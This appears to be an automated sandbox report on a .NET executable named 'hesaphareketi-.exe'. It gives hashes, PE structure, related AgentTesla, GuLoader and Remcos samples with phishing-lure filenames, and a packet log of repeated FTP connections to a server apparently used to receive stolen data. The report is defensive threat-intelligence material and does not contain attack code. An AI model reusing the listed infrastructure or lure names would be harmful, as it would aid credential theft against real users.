Simulations

Behavior and APIs

Time	Type	Description
14:26:11	API Interceptor	11348298x Sleep call for process: hesaphareketi-.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	482730621.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	482730621.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
104.247.165.99	CN-Invoice-0945413571-XXXXX6856-23120537357076000009.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	wUBne5sGQK.exe	Get hash	malicious	AgentTesla	Browse
	1PtZHrluDy.exe	Get hash	malicious	AgentTesla	Browse
	CN-Invoice-945413571-XXXXX6856-2312053735707600.exe	Get hash	malicious	AgentTesla	Browse
	Dekont-2024-03-28,pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	DEKONT - 20240327-g0CiifOO4eIH5dL.exe	Get hash	malicious	AgentTesla	Browse
	Dekont-PDF.exe	Get hash	malicious	AgentTesla	Browse
	Dekont-Formu20242503-DOC.exe	Get hash	malicious	AgentTesla	Browse
	Dekont-Formu20242203-DOC.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.W32.MSIL_Agent.GLM.gen.Eldorado.13975.20245.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://www.google.com/url?q=https://tame-coherent-emmental.glitch.me/%23aG95ZUB1bW4uZWR1&source=gmail-imap&ust=1717088881000000&usg=AOvVaw14q68JL0hvqaGr_XiCkvK4	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse	172.67.74.152
	30% Down Payment Slip.pdf_______________________________________________________.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	ordinul de cotatie.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	PI_230524.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	PO_23052024.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	hesaphareketi-015232024.SCR.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	rPurchaseOrderPO05232024.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	ASCD0001 INQ9829......pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
ftp.normagroup.com.tr	CN-Invoice-0945413571-XXXXX6856-23120537357076000009.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.247.165.99
	wUBne5sGQK.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	1PtZHrluDy.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	CN-Invoice-945413571-XXXXX6856-2312053735707600.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	Dekont-2024-03-28,pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.247.165.99
	DEKONT - 20240327-g0CiifOO4eIH5dL.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	Dekont-PDF.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	Dekont-Formu20242503-DOC.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	Dekont-Formu20242203-DOC.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	SecuriteInfo.com.W32.MSIL_Agent.GLM.gen.Eldorado.13975.20245.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Home Purchase Contract and Property Details.xls	Get hash	malicious	Remcos, DBatLoader	Browse	188.114.96.3
	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Offer Document 24.lnk	Get hash	malicious	FormBook	Browse	23.227.38.74
	PO 4500025813.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://freexxxth.link	Get hash	malicious	Unknown	Browse	104.21.25.77
	https://freexxxth.link	Get hash	malicious	Unknown	Browse	172.67.223.248
	SCB REmittance Advice.doc	Get hash	malicious	Lokibot	Browse	188.114.97.9
	V_273686.Lnk.lnk	Get hash	malicious	MalLnk	Browse	172.67.217.192
	kam.cmd	Get hash	malicious	GuLoader	Browse	104.21.28.80
	https://www.whtenvlpe.com/acTcl2kTmPSJi_Ld_mhpL5dNumT258E0ztzYJGo7sYTHmy1SnIHoHTr_lyuA2BZnhF49nvpBtTPseiLflrqOEA~~/16/1	Get hash	malicious	Unknown	Browse	104.21.39.66
ASN-QUADRANET-GLOBALUS	New_Order945846743.exe	Get hash	malicious	AveMaria, GuLoader, PrivateLoader	Browse	72.11.156.201
	PO2737478834ORDER.exe	Get hash	malicious	AveMaria, GuLoader, PrivateLoader	Browse	72.11.156.201
	ORDER893474849.exe	Get hash	malicious	AveMaria, GuLoader, PrivateLoader	Browse	72.11.156.201
	rORDER002838477624PO.exe	Get hash	malicious	Remcos, GuLoader	Browse	72.11.156.201
	sF2s1EQU7T.exe	Get hash	malicious	Remcos, GuLoader	Browse	64.188.21.131
	xerox322200524.exe	Get hash	malicious	Remcos, GuLoader	Browse	167.160.166.205
	Plat#U0103 Factura MTL11852.xls	Get hash	malicious	Remcos	Browse	23.226.128.138
	Plat#U0103 Factura MTL11852.xls	Get hash	malicious	Unknown	Browse	23.226.128.138
	https://dianliangyingyu.com/	Get hash	malicious	Unknown	Browse	204.44.86.21
	file.exe	Get hash	malicious	Remcos, GuLoader	Browse	64.188.27.90

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	sipari#U015f_comfirmasyonu.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Documents Of DHL -BL- AWB- 8976453410.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	kam.cmd	Get hash	malicious	GuLoader	Browse	104.26.12.205
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse	104.26.12.205
	upload.vbs	Get hash	malicious	Unknown	Browse	104.26.12.205
	upload.vbs	Get hash	malicious	GuLoader, XWorm	Browse	104.26.12.205
	update.vbs	Get hash	malicious	GuLoader, XWorm	Browse	104.26.12.205
	file.vbs	Get hash	malicious	GuLoader	Browse	104.26.12.205
	windows.vbs	Get hash	malicious	AsyncRAT, GuLoader	Browse	104.26.12.205

Process:	C:\Users\user\Desktop\hesaphareketi-.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.960231532527883
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	hesaphareketi-.exe
File size:	939'008 bytes
MD5:	6ee05d4dd363d273ce38c497b1238db1
SHA1:	7c4f86c5edfe9cf5d1955c4af44cd8d0a25a0f0a
SHA256:	1a88cd1b38768b690166ed6a6647ca7e975a68b7112c0e938cdfaaea8d509c9e
SHA512:	db37e14f851f0d2de99cff71a720b72f12db0b388c60f0f89e83f2493364bf8bc72eb2a98dcae065c532a2541fc42ddb199d679b1dab91c6bc426925622e3709
SSDEEP:	24576:6yK3B4Tw/bf4vQJTg4i0pMyR++/PhNt96WVp:6N94yU4i0WyD/36WV
TLSH:	D0159F3C18FC2A229160D6A4CFE0C663F150F4FA3963992299D24755474BE9BBDC327E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Nf..............0..J...........h... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4e6816
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x664ED1A0 [Thu May 23 05:18:24 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe67c3	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe8000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xea000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe4368	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe481c	0xe4a00	dd0a3e2c743e52eff1e39019c616add2	False	0.6967765428512849	data	6.966251395726089	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe8000	0x5d4	0x600	a73137abe1e0968be14d0125539e9fe5	False	0.4283854166666667	data	4.148648565251091	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xea000	0xc	0x200	6d04a551d662569ede38cad17e04f668	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe8090	0x344	data			0.4270334928229665
RT_MANIFEST	0xe83e4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 20:26:13.593163967 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:13.593242884 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:13.593353033 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:13.601720095 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:13.601744890 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.195894003 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.196299076 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:14.200438023 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:14.200455904 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.200736046 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.242508888 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:14.258514881 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:14.302501917 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.441783905 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.441869974 CEST	443	49732	104.26.12.205	192.168.2.4
May 23, 2024 20:26:14.442070007 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:14.450100899 CEST	49732	443	192.168.2.4	104.26.12.205
May 23, 2024 20:26:15.761395931 CEST	49734	21	192.168.2.4	104.247.165.99
May 23, 2024 20:26:15.766340971 CEST	21	49734	104.247.165.99	192.168.2.4
May 23, 2024 20:26:15.766458035 CEST	49734	21	192.168.2.4	104.247.165.99
May 23, 2024 20:26:15.784187078 CEST	49734	21	192.168.2.4	104.247.165.99
May 23, 2024 20:26:15.835544109 CEST	21	49734	104.247.165.99	192.168.2.4
May 23, 2024 20:26:15.837089062 CEST	49734	21	192.168.2.4	104.247.165.99
May 23, 2024 20:27:47.133560896 CEST	49744	21	192.168.2.4	104.247.165.99
May 23, 2024 20:27:47.138602018 CEST	21	49744	104.247.165.99	192.168.2.4
May 23, 2024 20:27:47.138734102 CEST	49744	21	192.168.2.4	104.247.165.99
May 23, 2024 20:27:47.138840914 CEST	49744	21	192.168.2.4	104.247.165.99
May 23, 2024 20:27:47.182372093 CEST	21	49744	104.247.165.99	192.168.2.4
May 23, 2024 20:27:47.182492018 CEST	49744	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:01.189251900 CEST	49745	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:01.194561958 CEST	21	49745	104.247.165.99	192.168.2.4
May 23, 2024 20:28:01.197756052 CEST	49745	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:01.197854996 CEST	49745	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:01.254194021 CEST	21	49745	104.247.165.99	192.168.2.4
May 23, 2024 20:28:01.254508972 CEST	49745	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:08.366137028 CEST	49746	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:08.372268915 CEST	21	49746	104.247.165.99	192.168.2.4
May 23, 2024 20:28:08.372361898 CEST	49746	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:08.372647047 CEST	49746	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:08.426268101 CEST	21	49746	104.247.165.99	192.168.2.4
May 23, 2024 20:28:08.426516056 CEST	49746	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:13.202949047 CEST	49747	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:14.146158934 CEST	21	49747	104.247.165.99	192.168.2.4
May 23, 2024 20:28:14.146230936 CEST	49747	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:14.146580935 CEST	49747	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:14.156047106 CEST	21	49747	104.247.165.99	192.168.2.4
May 23, 2024 20:28:14.156096935 CEST	49747	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:15.234893084 CEST	49748	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:15.241636038 CEST	21	49748	104.247.165.99	192.168.2.4
May 23, 2024 20:28:15.241738081 CEST	49748	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:15.241967916 CEST	49748	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:15.298125982 CEST	21	49748	104.247.165.99	192.168.2.4
May 23, 2024 20:28:15.298660040 CEST	49748	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:19.388930082 CEST	49749	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:19.393938065 CEST	21	49749	104.247.165.99	192.168.2.4
May 23, 2024 20:28:19.399079084 CEST	49749	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:19.399239063 CEST	49749	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:19.465365887 CEST	21	49749	104.247.165.99	192.168.2.4
May 23, 2024 20:28:19.511895895 CEST	21	49749	104.247.165.99	192.168.2.4
May 23, 2024 20:28:19.513102055 CEST	49749	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:20.005481958 CEST	49750	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:20.011487007 CEST	21	49750	104.247.165.99	192.168.2.4
May 23, 2024 20:28:20.011586905 CEST	49750	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:20.011904001 CEST	49750	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:20.073707104 CEST	21	49750	104.247.165.99	192.168.2.4
May 23, 2024 20:28:20.073780060 CEST	49750	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:26.349301100 CEST	49751	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:26.355204105 CEST	21	49751	104.247.165.99	192.168.2.4
May 23, 2024 20:28:26.355261087 CEST	49751	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:26.355448008 CEST	49751	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:26.405953884 CEST	21	49751	104.247.165.99	192.168.2.4
May 23, 2024 20:28:26.405998945 CEST	49751	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:30.714827061 CEST	49752	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:30.721086025 CEST	21	49752	104.247.165.99	192.168.2.4
May 23, 2024 20:28:30.721184969 CEST	49752	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:30.721434116 CEST	49752	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:30.781487942 CEST	21	49752	104.247.165.99	192.168.2.4
May 23, 2024 20:28:30.781595945 CEST	49752	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:45.846199036 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:45.851243019 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:45.851324081 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:46.731831074 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:46.732157946 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:46.746335983 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:47.127262115 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:47.127713919 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:47.132756948 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:47.617975950 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:47.619019032 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:47.624151945 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:47.921236992 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:47.921576977 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:47.926567078 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.150744915 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.151035070 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:48.207576036 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.499938965 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.500075102 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:48.505131006 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.805833101 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.806586981 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:48.851363897 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:48.853885889 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:48.854098082 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:48.854190111 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:48.876631021 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.593909979 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.598907948 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.606357098 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.606368065 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.606378078 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.606558084 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.608469963 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.608479977 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.608489990 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.608499050 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.608508110 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.608642101 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.610196114 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.610388041 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.617858887 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.618066072 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.627258062 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.627273083 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.627284050 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.627300978 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.627316952 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.627326965 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.627351999 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.627405882 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.628094912 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.628107071 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.628314972 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.636593103 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.648252010 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:49.664282084 CEST	62592	49754	104.247.165.99	192.168.2.4
May 23, 2024 20:28:49.666683912 CEST	49754	62592	192.168.2.4	104.247.165.99
May 23, 2024 20:28:50.311012983 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:50.366996050 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:28:50.381091118 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:28:50.381165028 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:00.326834917 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:00.340250015 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:00.568528891 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:00.571264982 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:00.577728033 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:00.578906059 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:00.578975916 CEST	49753	21	192.168.2.4	104.247.165.99
May 23, 2024 20:29:00.679897070 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.207123995 CEST	21	49753	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.207381964 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.213155985 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.213208914 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.222420931 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222435951 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222445011 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222454071 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222461939 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222467899 CEST	49755	64834	192.168.2.4	104.247.165.99
May 23, 2024 20:29:01.222470999 CEST	64834	49755	104.247.165.99	192.168.2.4
May 23, 2024 20:29:01.222479105 CEST	64834	49755	104.247.165.99	192.168.2.4
